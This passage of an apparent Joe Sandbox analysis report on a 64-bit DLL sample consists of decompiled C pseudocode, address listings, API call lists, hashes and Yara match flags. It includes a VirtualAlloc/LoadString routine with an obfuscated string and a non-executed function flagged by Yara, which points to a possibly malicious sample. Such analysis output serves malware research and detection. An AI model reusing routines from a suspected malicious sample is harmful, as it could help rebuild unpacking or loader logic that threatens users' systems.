													__eflags = GetLastError();
													if(__eflags > 0) {
														_t149 = GetLastError() & 0x0000ffff | 0x80070000;
														__eflags = _t149;
														_a3324 = _t149;
													} else {
														_a3324 = GetLastError();
													}
													_a3216 = _a3324;
													_t251 = _a3216;
													E10009260(_a3216, 0x6d, __eflags, _t442);
												}
											} else {
												goto L24;
											}
										}
									} else {
										_a3264 =  *0x10018048;
										_t435 = _a3264;
										_a3256 = _t435;
										__eflags = _a3256;
										if(__eflags == 0) {
											_a3312 = 0;
										} else {
											_t348 = 1;
											_t440 = _a3256;
											E10001000(4, 1, _t435, _a3256, _t467);
											_a3312 = _t435;
										}
										_t251 = _a3216;
										E10009260(_a3216, _t348, __eflags, _t440);
									}
								} else {
									goto L10;
								}
							}
						}
					}
				}
				L46:
				__eflags = _a3336 ^ _t461;
				return E10001050(_t251, _a3336 ^ _t461);
			}






























































                                                                        0x1000fd3b
                                                                        0x1000fd41
                                                                        0x1000fd4c
                                                                        0x1000fd52
                                                                        0x1000fd5a
                                                                        0x1000fd69
                                                                        0x1000fd75
                                                                        0x1000fd7c
                                                                        0x1000fd87
                                                                        0x1000fd8f
                                                                        0x1000fd96
                                                                        0x1000fda1
                                                                        0x1000fdac
                                                                        0x1000fdb7
                                                                        0x1000fde6
                                                                        0x1000fde6
                                                                        0x1000fe00
                                                                        0x1000fe0d
                                                                        0x1000fe27
                                                                        0x1000fe3d
                                                                        0x1000fe52
                                                                        0x1000fe6f
                                                                        0x1000fe75
                                                                        0x1000fe9d
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x100100da
                                                                        0x100100e8
                                                                        0x1001010b
                                                                        0x1001011c
                                                                        0x1001012b
                                                                        0x10010138
                                                                        0x1001013f
                                                                        0x10010149
                                                                        0x10010164
                                                                        0x10010179
                                                                        0x1001018f
                                                                        0x100101a3
                                                                        0x100101aa
                                                                        0x100101b4
                                                                        0x100101c3
                                                                        0x100101d8
                                                                        0x10010200
                                                                        0x1001020f
                                                                        0x1001021c
                                                                        0x10010223
                                                                        0x1001022d
                                                                        0x10010248
                                                                        0x1001025d
                                                                        0x10010273
                                                                        0x10010287
                                                                        0x1001028e
                                                                        0x10010298
                                                                        0x100102a7
                                                                        0x100102bc
                                                                        0x100102e4
                                                                        0x100102f3
                                                                        0x10010300
                                                                        0x10010307
                                                                        0x10010311
                                                                        0x1001032c
                                                                        0x10010341
                                                                        0x10010357
                                                                        0x1001036b
                                                                        0x10010372
                                                                        0x1001037c
                                                                        0x1001038b
                                                                        0x100103a0
                                                                        0x100103cd
                                                                        0x1000fdce
                                                                        0x1000fddf
                                                                        0x1000fddf
                                                                        0x100103dc
                                                                        0x100103e3
                                                                        0x100103eb
                                                                        0x100103f1
                                                                        0x100103fc
                                                                        0x10010409
                                                                        0x1001040e
                                                                        0x10010416
                                                                        0x1001041c
                                                                        0x1001041e
                                                                        0x1001048c
                                                                        0x10010492
                                                                        0x10010494
                                                                        0x100104b5
                                                                        0x100104b5
                                                                        0x100104ba
                                                                        0x10010496
                                                                        0x1001049c
                                                                        0x1001049c
                                                                        0x100104c8
                                                                        0x100104cf
                                                                        0x100104d6
                                                                        0x10010420
                                                                        0x10010420
                                                                        0x1001042d
                                                                        0x10010432
                                                                        0x1001043a
                                                                        0x10010440
                                                                        0x10010442
                                                                        0x00000000
                                                                        0x10010444
                                                                        0x10010444
                                                                        0x10010451
                                                                        0x10010456
                                                                        0x1001045e
                                                                        0x10010464
                                                                        0x10010466
                                                                        0x00000000
                                                                        0x10010468
                                                                        0x10010468
                                                                        0x1001046e
                                                                        0x10010475
                                                                        0x1001047a
                                                                        0x10010488
                                                                        0x1001048a
                                                                        0x100104ec
                                                                        0x100104f1
                                                                        0x100104f9
                                                                        0x10010502
                                                                        0x10010523
                                                                        0x10010504
                                                                        0x1001050c
                                                                        0x10010514
                                                                        0x10010519
                                                                        0x10010519
                                                                        0x10010537
                                                                        0x1001053f
                                                                        0x10010547
                                                                        0x1001054e
                                                                        0x10010556
                                                                        0x100105c2
                                                                        0x100105ca
                                                                        0x100105d2
                                                                        0x100105d4
                                                                        0x100105ee
                                                                        0x100105f4
                                                                        0x100105f6
                                                                        0x10010617
                                                                        0x10010617
                                                                        0x1001061c
                                                                        0x100105f8
                                                                        0x100105fe
                                                                        0x100105fe
                                                                        0x1001062a
                                                                        0x10010631
                                                                        0x10010638
                                                                        0x100105d6
                                                                        0x100105d6
                                                                        0x100105dd
                                                                        0x100105e5
                                                                        0x100105ea
                                                                        0x100105ec
                                                                        0x1001064e
                                                                        0x10010656
                                                                        0x1001065c
                                                                        0x10010664
                                                                        0x1001066d
                                                                        0x100106ca
                                                                        0x100106ca
                                                                        0x100106cd
                                                                        0x100106da
                                                                        0x100106e0
                                                                        0x100106e2
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x100106f3
                                                                        0x100106f9
                                                                        0x100106fb
                                                                        0x1001070e
                                                                        0x10010714
                                                                        0x10010716
                                                                        0x1001071a
                                                                        0x10010732
                                                                        0x10010738
                                                                        0x1001073a
                                                                        0x10010744
                                                                        0x10010752
                                                                        0x10010752
                                                                        0x00000000
                                                                        0x10010718
                                                                        0x00000000
                                                                        0x100106fd
                                                                        0x00000000
                                                                        0x100107af
                                                                        0x100107af
                                                                        0x100107b2
                                                                        0x100107bc
                                                                        0x100107be
                                                                        0x00000000
                                                                        0x100107c4
                                                                        0x10010764
                                                                        0x1001076c
                                                                        0x10010774
                                                                        0x1001077c
                                                                        0x10010785
                                                                        0x100107a3
                                                                        0x10010787
                                                                        0x10010794
                                                                        0x10010799
                                                                        0x10010799
                                                                        0x00000000
                                                                        0x1001066f
                                                                        0x10010675
                                                                        0x10010677
                                                                        0x10010698
                                                                        0x10010698
                                                                        0x1001069d
                                                                        0x10010679
                                                                        0x1001067f
                                                                        0x1001067f
                                                                        0x100106ab
                                                                        0x100106b2
                                                                        0x100106b9
                                                                        0x100106be
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x100105ec
                                                                        0x10010558
                                                                        0x1001055f
                                                                        0x10010567
                                                                        0x1001056f
                                                                        0x10010577
                                                                        0x10010580
                                                                        0x1001059e
                                                                        0x10010582
                                                                        0x10010582
                                                                        0x10010587
                                                                        0x1001058f
                                                                        0x10010594
                                                                        0x10010594
                                                                        0x100105aa
                                                                        0x100105b1
                                                                        0x100105b6
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x1001048a
                                                                        0x10010466
                                                                        0x10010442
                                                                        0x1001041e
                                                                        0x100107cd
                                                                        0x100107d5
                                                                        0x100107e4

                                                                        APIs
                                                                        Strings
                                                                        • hSik4o>60zWiGIx*4JyLt)j)%RbUHeX, xrefs: 1000FD6E
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: LoadString$ErrorLast$AllocVirtual
                                                                        • String ID: hSik4o>60zWiGIx*4JyLt)j)%RbUHeX
                                                                        • API String ID: 927269209-1306964955
                                                                        • Opcode ID: e145458bc1d47fa7db89b720048329d80d48c245175c54a1bbd6c42869deb03c
                                                                        • Instruction ID: 88a83da51a9c6c75fd8014a9dc8fc62b5715954abfe914737fb50cf670ad0a73
                                                                        • Opcode Fuzzy Hash: e145458bc1d47fa7db89b720048329d80d48c245175c54a1bbd6c42869deb03c
                                                                        • Instruction Fuzzy Hash: 8F125432250000AFE70EDF6DEE95B957BB6F79D304F05A259D48E872B8C7B8E491CA44
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10002190 Relevance: 3.0, APIs: 2, Instructions: 20memoryCOMMON
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 615 10002190-100021b2 HeapCreate 616 100021b4-100021b8 615->616 617 100021b9-100021e0 HeapSetInformation 615->617
                                                                        APIs
                                                                        • HeapCreate.KERNELBASE(?,?,?,?,100015DC), ref: 100021A2
                                                                        • HeapSetInformation.KERNEL32 ref: 100021D1
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: Heap$CreateInformation
                                                                        • String ID:
                                                                        • API String ID: 1774340351-0
                                                                        • Opcode ID: 2edf26dffa378450af2f2da6f47a2511c11c727fa5caabd57482025d3600c3fc
                                                                        • Instruction ID: 1cf4e4209ed6063736ba3734d93c380e093b648aa809e0ba5854c6eb921d2645
                                                                        • Opcode Fuzzy Hash: 2edf26dffa378450af2f2da6f47a2511c11c727fa5caabd57482025d3600c3fc
                                                                        • Instruction Fuzzy Hash: B6E04FB5B2668086E78D9B21A8467C96270F79C780F905029EB8D42B54EE7CC1958B00
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10001140 Relevance: 3.0, APIs: 2, Instructions: 19COMMONLIBRARYCODE
                                                                        Download Yara Rule

                                                                        Control-flow Graph

                                                                        • Executed
                                                                        • Not Executed
                                                                        control_flow_graph 618 10001140-10001143 619 10001145-1000115e RtlDeleteBoundaryDescriptor 618->619 620 1000117c 618->620 621 10001160-10001175 call 10002270 GetLastError call 10002220 619->621 622 10001177-1000117b 619->622 621->622 622->620
                                                                        C-Code - Quality: 58%
                                                                        			E10001140(intOrPtr* __rax, void* __rcx) {
				void* _t1;
				int _t2;
				void* _t10;
				intOrPtr* _t12;
				intOrPtr _t14;

				if(__rcx != 0) {
					_t14 =  *0x10017a98; // 0x1e25a900000
					_t2 = HeapFree(_t10, ??); // executed
					if(_t2 == 0) {
						E10002270(__rax);
						_t12 = __rax;
						_t2 = E10002220(GetLastError(), _t14);
						 *_t12 = _t2;
					}
					return _t2;
				}
				return _t1;
			}








                                                                        0x10001143
                                                                        0x1000114d
                                                                        0x10001156
                                                                        0x1000115e
                                                                        0x10001160
                                                                        0x10001165
                                                                        0x10001170
                                                                        0x10001175
                                                                        0x10001175
                                                                        0x00000000
                                                                        0x1000117b
                                                                        0x1000117c

                                                                        APIs
                                                                        • RtlDeleteBoundaryDescriptor.NTDLL(?,?,00000000,10002E26,?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10001156
                                                                        • GetLastError.KERNEL32(?,?,00000000,10002E26,?,?,?,?,10002279,?,?,?,?,1000112C), ref: 10001168
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: BoundaryDeleteDescriptorErrorLast
                                                                        • String ID:
                                                                        • API String ID: 2050971199-0
                                                                        • Opcode ID: 599f514f83349e7122496ce0b33e5807714479d7b3febeec6bfdbff0e475209d
                                                                        • Instruction ID: 092661946694044fb271a48e52f88e0e249b71369fe2a408602933702675e75a
                                                                        • Opcode Fuzzy Hash: 599f514f83349e7122496ce0b33e5807714479d7b3febeec6bfdbff0e475209d
                                                                        • Instruction Fuzzy Hash: 84E01278B0524191FF0EDBF268493EA52A0AF9DBC0F454424DB4946359DE7CC5D54340
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10001070 Relevance: 1.6, APIs: 1, Instructions: 50memoryCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 73%
                                                                        			E10001070(intOrPtr* __rax, long long __rbx, long long __rcx, long long __rdi, long long __rsi, long long _a16, long long _a24, long long _a32) {
				void* _t11;
				long long _t30;
				intOrPtr _t34;
				void* _t37;
				void* _t41;
				void* _t43;
				void* _t44;
				void* _t45;
				void* _t46;

				_t38 = __rdi;
				_t27 = __rax;
				_a16 = __rbx;
				_t30 = __rcx;
				if(__rcx > 0xffffffe0) {
					E100022B0(__rax, __rcx);
					E10002270(__rax);
					 *__rax = 0xc;
					return 0;
				} else {
					_a24 = __rsi;
					_t41 =  !=  ? __rcx : __rsi;
					_a32 = __rdi;
					while(1) {
						_t34 =  *0x10017a98; // 0x1e25a900000
						if(_t34 == 0) {
							E10001E60(E100020A0(_t30, _t34, _t37, _t38, _t43, _t44), 0x1e, _t30, _t37, _t38, _t41, _t44, _t45, _t46);
							E10001A70();
						}
						_t43 = _t41;
						_t11 = RtlAllocateHeap(??, ??, ??); // executed
						_t38 = _t27;
						if(_t27 != 0) {
							break;
						}
						if( *0x10017aa8 == _t11) {
							E10002270(_t27);
							 *_t27 = 0xc;
							goto L9;
						} else {
							if(E100022B0(_t27, _t30) != 0) {
								continue;
							} else {
								L9:
								_t11 = E10002270(_t27);
								 *_t27 = 0xc;
							}
						}
						break;
					}
					return _t11;
				}
			}












                                                                        0x10001070
                                                                        0x10001070
                                                                        0x10001078
                                                                        0x1000107d
                                                                        0x10001080
                                                                        0x10001122
                                                                        0x10001127
                                                                        0x10001131
                                                                        0x1000113d
                                                                        0x10001086
                                                                        0x10001086
                                                                        0x10001093
                                                                        0x10001097
                                                                        0x100010a0
                                                                        0x100010a0
                                                                        0x100010aa
                                                                        0x100010b6
                                                                        0x100010c0
                                                                        0x100010c5
                                                                        0x100010cc
                                                                        0x100010d1
                                                                        0x100010da
                                                                        0x100010dd
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x100010e5
                                                                        0x100010f5
                                                                        0x100010fa
                                                                        0x00000000
                                                                        0x100010e7
                                                                        0x100010f1
                                                                        0x00000000
                                                                        0x100010f3
                                                                        0x10001100
                                                                        0x10001100
                                                                        0x10001105
                                                                        0x10001105
                                                                        0x100010f1
                                                                        0x00000000
                                                                        0x100010e5
                                                                        0x10001121
                                                                        0x10001121

                                                                        APIs
                                                                        • RtlAllocateHeap.NTDLL ref: 100010D1
                                                                          • Part of subcall function 10001A70: GetModuleHandleA.KERNEL32(?,?,00000000,10004531,?,?,?,?,10004627), ref: 10001A7F
                                                                          • Part of subcall function 10001A70: GetProcAddress.KERNEL32(?,?,00000000,10004531,?,?,?,?,10004627), ref: 10001A94
                                                                          • Part of subcall function 10001A70: ExitProcess.KERNEL32 ref: 10001AA5
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: AddressAllocateExitHandleHeapModuleProcProcess
                                                                        • String ID:
                                                                        • API String ID: 3260311492-0
                                                                        • Opcode ID: dcd00d2bf46124381621297794e7fd771158c3d18c21634580abcda441056608
                                                                        • Instruction ID: 60d645757739eeebda053ea80f321dfad978d78ec09b24bca32a628be4ea2f58
                                                                        • Opcode Fuzzy Hash: dcd00d2bf46124381621297794e7fd771158c3d18c21634580abcda441056608
                                                                        • Instruction Fuzzy Hash: 92113C39609781C1FA05DBA1E84139A62A0EBC9BD0F840225FB9A47B99CE7CD9D18711
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10001DF0 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 100%
                                                                        			E10001DF0(void* __eflags, long long __rax, void* __rcx, void* __rdx) {
				void* _t2;
				void* _t11;
				long long _t13;

				_t13 = __rax;
				_t2 = E10002B70(__rax); // executed
				E10002C40(E100049B0(E10004CB0(E10004CC0(E10004650(E10004CD0(E100022A0(_t2, __rax), __rax), __rax), __rax), __rax), __rax));
				_t11 = E10002B00(E10004990(__rax), __rax, 0x10001dd0);
				 *0x10016068 = _t13;
				return _t11;
			}






                                                                        0x10001df0
                                                                        0x10001df6
                                                                        0x10001e31
                                                                        0x10001e45
                                                                        0x10001e4a
                                                                        0x10001e56

                                                                        APIs
                                                                          • Part of subcall function 10002B70: FlsGetValue.KERNEL32(?,?,?,?,10004E5D), ref: 10002B7F
                                                                        • _initp_misc_winsig.LIBCMT ref: 10001E29
                                                                          • Part of subcall function 10002B00: FlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,10004589), ref: 10002B14
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: Value$_initp_misc_winsig
                                                                        • String ID:
                                                                        • API String ID: 3644512426-0
                                                                        • Opcode ID: 4df8147cd7181ffe9675de0574593b03420ca85a942c142b33c228a8902b7a78
                                                                        • Instruction ID: 87167b04eb86c05fbca27201fbe57e2130009202fbe3443406adaff23398a574
                                                                        • Opcode Fuzzy Hash: 4df8147cd7181ffe9675de0574593b03420ca85a942c142b33c228a8902b7a78
                                                                        • Instruction Fuzzy Hash: 0DE09A9869160241FD49FBA37C6376B1340CBDABC0F492034695B0A31ADE28E59043D4
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10003190 Relevance: 1.3, APIs: 1, Instructions: 30sleepCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 44%
                                                                        			E10003190(void* __ecx, intOrPtr* __rax, long long __rbx, long long __rcx, long long __rdi, long long __rsi, long long __rbp, long long _a8, long long _a16, long long _a24, long long _a32) {
				void* _t10;
				void* _t18;
				intOrPtr* _t21;
				long long _t27;
				long long _t30;

				_t27 = __rdi;
				_t23 = __rbx;
				_t21 = __rax;
				_a16 = __rbp;
				_a24 = __rsi;
				_a32 = __rdi;
				_a8 = __rbx;
				_t30 = __rcx;
				while(1) {
					_t10 = E10001070(_t21, _t23, _t30, _t27, _t30); // executed
					_t23 = _t21;
					if(_t21 != 0) {
						break;
					}
					_t18 =  *0x10017aac - _t10; // 0x0
					if(_t18 > 0) {
						Sleep();
						_t5 = _t27 + 0x3e8; // 0x3e8
						r11d = _t5;
						_t13 =  >  ? 0xffffffff : r11d;
						if(( >  ? 0xffffffff : r11d) != 0xffffffff) {
							continue;
						} else {
						}
					}
					break;
				}
				return _t10;
			}








                                                                        0x10003190
                                                                        0x10003190
                                                                        0x10003190
                                                                        0x10003194
                                                                        0x10003199
                                                                        0x1000319e
                                                                        0x100031a5
                                                                        0x100031aa
                                                                        0x100031b2
                                                                        0x100031b5
                                                                        0x100031bd
                                                                        0x100031c0
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x100031c2
                                                                        0x100031c8
                                                                        0x100031cc
                                                                        0x100031d2
                                                                        0x100031d2
                                                                        0x100031e3
                                                                        0x100031e8
                                                                        0x00000000
                                                                        0x100031ea
                                                                        0x100031ea
                                                                        0x100031e8
                                                                        0x00000000
                                                                        0x100031c8
                                                                        0x10003205

                                                                        APIs
                                                                          • Part of subcall function 10001070: RtlAllocateHeap.NTDLL ref: 100010D1
                                                                        • Sleep.KERNEL32(?,?,?,?,10004553,?,?,?,?,10004627), ref: 100031CC
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492406706.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true
                                                                        • Associated: 00000000.00000002.492402426.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492417087.0000000010011000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492422696.0000000010016000.00000004.00000001.01000000.00000006.sdmpDownload File
                                                                        • Associated: 00000000.00000002.492427630.0000000010019000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_10000000_loaddll64.jbxd
                                                                        Similarity
                                                                        • API ID: AllocateHeapSleep
                                                                        • String ID:
                                                                        • API String ID: 4201116106-0
                                                                        • Opcode ID: e6ccb9ccd07c55c3fef6146a4a66e6cba306d32c62af9d380fb2b4a724a2aba8
                                                                        • Instruction ID: c0dbfac14fbf462c17da6a1a863f743cf07ef14ebc5c9a197527762e1cc56e3a
                                                                        • Opcode Fuzzy Hash: e6ccb9ccd07c55c3fef6146a4a66e6cba306d32c62af9d380fb2b4a724a2aba8
                                                                        • Instruction Fuzzy Hash: B0F04F36614A848AE6059F06A84038EB3B5F7CDBD0F580115FF9943B58CF79D9918B00
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Non-executed Functions

                                                                        Function 0000000180007CAC Relevance: 34.7, Strings: 27, Instructions: 967COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: #X$)~$* W{$,q.i$.)$0$7s$C$E1$F%$K@$L4$MV$NXT,$TL$V<$Vr$]uvB$^7$`$kS$o-$u$}Np+$~>$2$7
                                                                        • API String ID: 0-2134905853
                                                                        • Opcode ID: e13f974fcb2672a8e182c092b9ecd2b628f9c3bbec6d6571a024f9d770dcaa93
                                                                        • Instruction ID: 7bc169298e670ad6ca15b14f150b5f4e903513c02646746c6c48cce69fae7990
                                                                        • Opcode Fuzzy Hash: e13f974fcb2672a8e182c092b9ecd2b628f9c3bbec6d6571a024f9d770dcaa93
                                                                        • Instruction Fuzzy Hash: 7DB2C671E0470C9FDBA9CFA8D48AADEBBF2FB54344F004119E846B7290D7B8551ACB85
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 10004E30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 140libraryloaderCOMMONLIBRARYCODE
                                                                        Download Yara Rule
                                                                        C-Code - Quality: 47%
                                                                        			E10004E30(void* __edx, void* __eflags, long long __rbx, void* __rcx, char* __rdx, long long __rdi, long long __rsi, long long __rbp, char* __r8, void* __r9, long long __r12, long long __r13, void* _a8, void* _a16, void* _a24, void* _a32) {
				void* _v8;
				void* _v16;
				signed int _v32;
				char _v40;
				char _v48;
				char _v52;
				char _v56;
				long long _v72;
				signed int _t28;
				void* _t30;
				void* _t34;
				_Unknown_base(*)()* _t37;
				void* _t52;
				void* _t54;
				long long _t56;
				long long _t57;
				long long _t60;
				long long _t61;
				long long _t62;
				long long _t64;
				long long _t67;
				long long _t89;
				long long _t95;

				_t96 = __r8;
				_t82 = __rdx;
				_t57 = __rbx;
				_t56 = _t95;
				 *((long long*)(_t56 + 8)) = __rbx;
				 *((long long*)(_t56 + 0x10)) = __rbp;
				 *((long long*)(_t56 + 0x18)) = __rsi;
				 *((long long*)(_t56 + 0x20)) = __rdi;
				 *((long long*)(_t56 - 8)) = __r12;
				 *((long long*)(_t56 - 0x10)) = __r13;
				_t52 = r8d;
				_t28 = E10002B70(_t56);
				_t54 =  *0x10017e48 - _t57; // 0x0
				_t89 = _t56;
				_v56 = 0;
				_v52 = 0;
				if(_t54 != 0) {
					L9:
					_t60 =  *0x10017e60; // 0x0
					__eflags = _t60 - _t89;
					if(_t60 == _t89) {
						L19:
						_t61 =  *0x10017e50; // 0x0
						__eflags = _t61 - _t89;
						if(_t61 != _t89) {
							E10002BD0(_t28, _t56, _t61);
							_t28 =  *_t56();
							__eflags = _t56;
							_t57 = _t56;
							if(_t56 != 0) {
								_t64 =  *0x10017e58; // 0x0
								__eflags = _t64 - _t89;
								if(_t64 != _t89) {
									E10002BD0(_t28, _t56, _t64);
									_t28 =  *_t56();
									_t57 = _t56;
								}
							}
						}
						L23:
						_t62 =  *0x10017e48; // 0x0
						E10002BD0(_t28, _t56, _t62);
						r9d = _t52;
						_t30 =  *_t56();
						L24:
						return _t30;
					}
					__eflags =  *0x10017e68 - _t89; // 0x0
					if(__eflags == 0) {
						goto L19;
					}
					E10002BD0(_t28, _t56, _t60);
					_t34 =  *_t56();
					__eflags = _t56;
					if(_t56 == 0) {
						L14:
						_t28 = E10001B70(_t56,  &_v52);
						__eflags = _t28;
						if(_t28 != 0) {
							r9d = 0;
							r8d = 0;
							__eflags = 0;
							_v72 = _t57;
							_t28 = E10004660(0, _t82, _t96);
						}
						__eflags = _v52 - 4;
						if(_v52 < 4) {
							asm("bts edi, 0x12");
						} else {
							asm("bts edi, 0x15");
						}
						goto L23;
					}
					_t67 =  *0x10017e68; // 0x0
					E10002BD0(_t34, _t56, _t67);
					r9d = 0xc;
					_v72 =  &_v48;
					_t96 =  &_v40;
					_t28 =  *_t56();
					__eflags = _t28;
					if(_t28 == 0) {
						goto L14;
					}
					__eflags = _v32 & 0x00000001;
					if((_v32 & 0x00000001) != 0) {
						goto L19;
					}
					goto L14;
				}
				LoadLibraryA();
				if(_t56 != 0) {
					_t37 = GetProcAddress();
					__eflags = _t56;
					if(_t56 == 0) {
						goto L2;
					} else {
						E10002B00(_t37, _t56, _t56);
						 *0x10017e48 = _t56;
						E10002B00(GetProcAddress(??, ??), _t56, _t56);
						_t82 = "GetLastActivePopup";
						 *0x10017e50 = _t56;
						E10002B00(GetProcAddress(??, ??), _t56, _t56);
						 *0x10017e58 = _t56;
						_t28 = E10001B20(_t56,  &_v56);
						__eflags = _t28;
						if(_t28 != 0) {
							r9d = 0;
							r8d = 0;
							__eflags = 0;
							_v72 = __rbx;
							_t28 = E10004660(0, "GetLastActivePopup", __r8);
						}
						__eflags = _v56 - 2;
						if(_v56 == 2) {
							_t82 = "GetUserObjectInformationA";
							_t28 = E10002B00(GetProcAddress(??, ??), _t56, _t56);
							__eflags = _t56;
							 *0x10017e68 = _t56;
							if(_t56 != 0) {
								_t82 = "GetProcessWindowStation";
								_t28 = E10002B00(GetProcAddress(??, ??), _t56, _t56);
								 *0x10017e60 = _t56;
							}
						}
						goto L9;
					}
				}
				L2:
				_t30 = 0;
				goto L24;
			}


























                                                                        0x10004e30
                                                                        0x10004e30
                                                                        0x10004e30
                                                                        0x10004e30
                                                                        0x10004e37
                                                                        0x10004e3b
                                                                        0x10004e3f
                                                                        0x10004e43
                                                                        0x10004e47
                                                                        0x10004e4b
                                                                        0x10004e52
                                                                        0x10004e58
                                                                        0x10004e5f
                                                                        0x10004e66
                                                                        0x10004e69
                                                                        0x10004e6d
                                                                        0x10004e71
                                                                        0x10004f61
                                                                        0x10004f61
                                                                        0x10004f68
                                                                        0x10004f6b
                                                                        0x10004ff3
                                                                        0x10004ff3
                                                                        0x10004ffa
                                                                        0x10004ffd
                                                                        0x10004fff
                                                                        0x10005004
                                                                        0x10005006
                                                                        0x10005009
                                                                        0x1000500c
                                                                        0x1000500e
                                                                        0x10005015
                                                                        0x10005018
                                                                        0x1000501a
                                                                        0x10005022
                                                                        0x10005024
                                                                        0x10005024
                                                                        0x10005018
                                                                        0x1000500c
                                                                        0x10005027
                                                                        0x10005027
                                                                        0x1000502e
                                                                        0x10005033
                                                                        0x1000503f
                                                                        0x10005041
                                                                        0x10005069
                                                                        0x10005069
                                                                        0x10004f71
                                                                        0x10004f78
                                                                        0x00000000
                                                                        0x00000000
                                                                        0x10004f7a
